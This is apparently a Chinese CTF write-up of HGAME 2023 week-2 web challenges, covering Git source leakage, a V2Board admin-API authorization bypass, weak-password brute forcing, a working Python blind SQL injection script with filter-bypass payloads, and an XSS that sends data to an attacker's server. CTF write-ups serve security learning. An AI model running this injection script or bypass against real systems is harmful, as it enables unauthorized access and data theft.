Git Leakage

Githack一波带走,下载得到flag

v2board

搜索得知V2Board存在越权漏洞,随便注册个账号拿到authorization

访问/api/v1/admin/user/fetch?pageSize=10&current=1

拿到token值,hgame{39d580e71705f6abac9a414def74c466}

Search Commodity
弱口令爆破得到密码admin123,登录进去是一个搜索框,很明显是sql注入,bp构造一个
search_id=1$select$*2,fuzz一下,发现好多都被过滤为空,这里给出部分

这里发现大写能够绕过过滤,我们写一个盲注脚本

import requests
import string
strs = string.printable
headers = {
'Cookie': 'SESSION=MTY3MzY2MDExM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18adCvaHER65QoUwkQqK1elOtFjUAT9stHSgpZfPrUWik='
}
flag = ''
def attack(url):
global flag
for i in range(1, 100):
for j in strs:
if j == '%':
continue
tmp = ord(j)
payload = 'DATABASE()'
payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
data = {
'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
}
r = requests.post(url, data=data, headers=headers)
if 'hard disk' in r.text:
flag += j
print(flag)
break
if flag.endswith('}'):
break
if __name__ == '__main__':
url = 'http://week-2.hgame.lwsec.cn:32034/search'
attack(url)
最后flag为:hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
Designer
附件下载下来是一套js源码,看index.js,/user/register伪造ip无果,应该是xss

我们写一个xhr请求,让本地来访问就能成功伪造ip,得到true flag

利用在线xss_platform,把代码丢里头,Box shadow里填入xss攻击payload,注意这里要闭合下标签,
这里有个坑,得先preview一下再share,才能触发本地访问,不知道是不是就我一个人有这个问题

最后我们在vps的web日志里找到请求信息,本想直接输出来着,但没成功

jwt解密得到flag

HGAME2023_WP_WEEK2的更多相关文章

随机推荐

  1. JavaScript入门①-基础知识筑基

    01.JavaScript基础知识 JavaScript(缩写:JS)是一种具有面向对象能力的.解释型的程序语言,基于对象和事件驱动,具有相对安全性的客户端脚本语言.JavaScript是一门完备的 ...

  2. 编译器优化丨Cache优化

    摘要:本文重点介绍几种通过优化Cache使用提高程序性能的方法. 本文分享自华为云社区<编译器优化那些事儿(7):Cache优化>,作者:毕昇小助手. 引言 软件开发人员往往期望计算机硬件 ...

  3. mysql-DuplicateUpdate和java的threadpool的"死锁"

    大家千万不要被文章的标题给迷惑了,他两在本篇文章是没有关系的, 今天给大家讲讲最近2个有意思的issue,分享一下我学到的 mysql DuplicateUpdate的用法要注意的点 java的thr ...

  4. Java开发学习(四十六)----MyBatisPlus新增语句之id生成策略控制及其简化配置

    在前面有一篇博客:Java开发学习(四十一)----MyBatisPlus标准数据层(增删查改分页)开发,我们在新增的时候留了一个问题,就是新增成功后,主键ID是一个很长串的内容. 我们更想要的是按照 ...

  5. 【每日一题】【BFS&Lambda&重建二叉树】2022年2月15日-根据先序中序重建并输出二叉树的右视图

    描述 请根据二叉树的前序遍历,中序遍历恢复二叉树,并打印出二叉树的右视图 思路:重建&层次遍历记录最后一个&Lambda表达式 答案: import java.util.*; publ ...

  6. Blazor组件自做十三: 使用 Video.js 在 Blazor 中播放视频

    Video.js 是一个具有大量功能的流行的视频和音频 JavaScript 库,今天我们试试集成到 Blazor . Blazor VideoPlayer 视频播放器 组件 示例 https://b ...

  7. 关于 MySQL 嵌套子查询中,无法关联主表字段问题的折中解决方法

    今天在工作中写项目的时候,遇到了一个让我感到几乎无解的问题,在转换了思路后,想出了一个折中的解决方案,记录如下. 其实,问题的场景,非常简单: 就是需要查询出上图的数据,红框是从 项目产品表 中查询的 ...

  8. 15、MySQLTransactionRollbackException: Lock wait timeout exceeded; try restarting transaction

    转载自 一.报错信息: Error updating database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTransactionRollback ...

  9. 03-逻辑综合工具 - Design Compiler

    逻辑综合工具DC IC设计流程,市场-->制定spec-->RTL(同时进行sim,通过alint检查RTL有没有错误)-->systhesis(逻辑综合)-->PR(STA) ...

  10. for循环 rang方法

    今日内容 while循环补充说明 1.死循环 真正的死循环是一旦执行 cpu的功耗急剧上升 直到系统采取紧急措施 2.嵌套及全局标志位 强调: 一个break只能结束他所在那一层的循环 如果想一次性结 ...